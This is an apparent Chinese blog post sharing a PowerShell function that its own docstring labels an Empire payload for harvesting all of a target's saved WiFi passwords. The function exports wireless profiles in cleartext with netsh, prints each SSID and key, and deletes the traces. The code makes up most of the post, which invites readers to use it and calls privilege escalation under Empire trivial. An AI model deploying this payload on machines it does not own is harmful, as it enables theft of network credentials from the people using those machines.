获取WiFi密码的powershell脚本
分享一个一键获取电脑上所有WiFi密码的powershell。源码如下:
function Get-WifiPasswd { <# .SYNOPSIS Empire Payload to get the target's all wifi passwd .DESCRIPTION This payload uses the Get our target's all wifi password. but you need a administrator privilege. .EXAMPLE PS > Get-WifiPasswd .LINK https://www.s0nnet.com/ #> [CmdletBinding()] Param () $temp = $env:temp $SaveDir = "wifi_conf" $tempPath = $temp + '\' + $SaveDir if((Test-Path $tempPath) -eq 1) { $t = Remove-Item $tempPath -recurse } $t = New-Item -Path $temp -name $SaveDir -Type Directory $t = netsh wlan export profile key=clear folder=$tempPath $fileList = Get-ChildItem $tempPath *.xml | %{$_.FullName} Foreach($file in $fileList) { $tmpContent = [xml](Get-Content $file) $Name = $tmpContent.WLANProfile.SSIDConfig.SSID.name $Hex= $tmpContent.WLANProfile.SSIDConfig.SSID.hex $Auth = $tmpContent.WLANProfile.MSM.security.authEncryption.authentication $Enc = $tmpContent.WLANProfile.MSM.security.authEncryption.encryption $Prot = $tmpContent.WLANProfile.MSM.security.sharedKey.protected $Pswd = $tmpContent.WLANProfile.MSM.security.sharedKey.keyMaterial 'WiFi: ' + $Name +'('+ $Hex + ')'+' Key: '+ $Pswd +' '+$Auth +'/'+ $Enc } if((Test-Path $tempPath) -eq 1) { $t = Remove-Item $tempPath -recurse } }
该脚本是我写Empire插件时写的脚本,也是自己写的第一个powershell脚本,码术太陋,重在分享,大家拿着用就行^_^
也可以直接执行,获取WiFi密码的效果如下:
需要注意的是,由于获取WiFi密码是需要管理员权限的,不然上面的密码那块会显示sha加密的密文密码,这基本就没法破解了。还在Windows提权那是小菜一碟,在Empire下也是相当简单,这个脚本也是可以直接执行的。上图中的wifi名后面括号中的是16进制显示的字符串,防止中文的wifi名出现乱码。
其基本原理就是,使用netsh读取无线的所有配置文件。基于netsh还可以做很多信息采集,以后有时间再继续分享!
hello, 我是从友链飞过来的 你也可以点击 http://wenen.site 回到我来的地方
2016-11-16 上午8:47